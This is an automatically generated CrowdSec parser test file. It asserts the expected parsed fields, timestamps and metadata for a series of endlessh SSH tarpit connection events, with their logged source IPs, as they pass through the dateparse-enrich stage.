results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "2022-02-13T10:57:18.739Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-02-13T10:57:18.739Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-02-13T10:57:18.739Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["timestamp"] == "2022-02-13T11:01:37.741Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2022-02-13T11:01:37.741Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:01:37.741Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["timestamp"] == "2022-02-13T11:01:50.846Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"] == "2022-02-13T11:01:50.846Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:01:50.846Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["timestamp"] == "2022-02-13T11:02:12.588Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"] == "2022-02-13T11:02:12.588Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:02:12.588Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["timestamp"] == "2022-02-13T11:03:19.438Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["timestamp"] == "2022-02-13T11:03:19.438Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:03:19.438Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["timestamp"] == "2022-02-13T11:04:54.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["timestamp"] == "2022-02-13T11:04:54.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:04:54.637Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["timestamp"] == "2022-02-13T11:06:25.446Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["timestamp"] == "2022-02-13T11:06:25.446Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:06:25.446Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["timestamp"] == "2022-02-13T11:08:37.791Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["timestamp"] == "2022-02-13T11:08:37.791Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:08:37.791Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["timestamp"] == "2022-02-13T11:09:44.393Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["timestamp"] == "2022-02-13T11:09:44.393Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:09:44.393Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["timestamp"] == "2022-02-13T11:11:02.770Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Meta["timestamp"] == "2022-02-13T11:11:02.77Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][14].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:11:02.77Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["timestamp"] == "2022-02-13T11:14:19.500Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["timestamp"] == "2022-02-13T11:14:19.5Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:14:19.5Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["timestamp"] == "2022-02-13T11:17:17.528Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["timestamp"] == "2022-02-13T11:17:17.528Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:17:17.528Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["timestamp"] == "2022-02-13T11:18:44.156Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["timestamp"] == "2022-02-13T11:18:44.156Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:18:44.156Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["source_ip"] == "165.232.112.160" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["timestamp"] == "2022-02-13T11:21:17.441Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["source_ip"] == "165.232.112.160" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["timestamp"] == "2022-02-13T11:21:17.441Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:21:17.441Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["timestamp"] == "2022-02-13T11:22:29.229Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["timestamp"] == "2022-02-13T11:22:29.229Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:22:29.229Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["timestamp"] == "2022-02-13T11:23:25.867Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["timestamp"] == "2022-02-13T11:23:25.867Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:23:25.867Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["timestamp"] == "2022-02-13T11:24:55.313Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["timestamp"] == "2022-02-13T11:24:55.313Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:24:55.313Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["timestamp"] == "2022-02-13T11:26:32.620Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["timestamp"] == "2022-02-13T11:26:32.62Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:26:32.62Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["timestamp"] == "2022-02-13T11:31:02.471Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["timestamp"] == "2022-02-13T11:31:02.471Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:31:02.471Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["timestamp"] == "2022-02-13T11:33:08.053Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["timestamp"] == "2022-02-13T11:33:08.053Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:33:08.053Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["timestamp"] == "2022-02-13T11:34:11.826Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["timestamp"] == "2022-02-13T11:34:11.826Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:34:11.826Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["timestamp"] == "2022-02-13T11:35:59.307Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["timestamp"] == "2022-02-13T11:35:59.307Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:35:59.307Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["timestamp"] == "2022-02-13T11:37:11.459Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["timestamp"] == "2022-02-13T11:37:11.459Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:37:11.459Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["timestamp"] == "2022-02-13T11:39:14.349Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["timestamp"] == "2022-02-13T11:39:14.349Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:39:14.349Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["timestamp"] == "2022-02-13T11:40:27.877Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["timestamp"] == "2022-02-13T11:40:27.877Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:40:27.877Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["timestamp"] == "2022-02-13T11:41:51.108Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["timestamp"] == "2022-02-13T11:41:51.108Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:41:51.108Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["timestamp"] == "2022-02-13T11:44:54.352Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["timestamp"] == "2022-02-13T11:44:54.352Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:44:54.352Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["source_ip"] == "141.98.11.27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["timestamp"] == "2022-02-13T11:44:56.120Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["source_ip"] == "141.98.11.27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["timestamp"] == "2022-02-13T11:44:56.12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:44:56.12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["timestamp"] == "2022-02-13T11:46:41.715Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["timestamp"] == "2022-02-13T11:46:41.715Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:46:41.715Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["timestamp"] == "2022-02-13T11:47:58.463Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["timestamp"] == "2022-02-13T11:47:58.463Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:47:58.463Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["timestamp"] == "2022-02-13T11:49:31.344Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["timestamp"] == "2022-02-13T11:49:31.344Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:49:31.344Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["source_ip"] == "212.192.246.173" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["timestamp"] == "2022-02-13T11:51:35.252Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["source_ip"] == "212.192.246.173" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["timestamp"] == "2022-02-13T11:51:35.252Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:51:35.252Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["timestamp"] == "2022-02-13T11:51:35.359Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["timestamp"] == "2022-02-13T11:51:35.359Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Enriched["MarshaledTime"] == "2022-02-13T11:51:35.359Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["timestamp"] == "2022-02-13T11:52:44.396Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["timestamp"] == "2022-02-13T11:52:44.396Z" 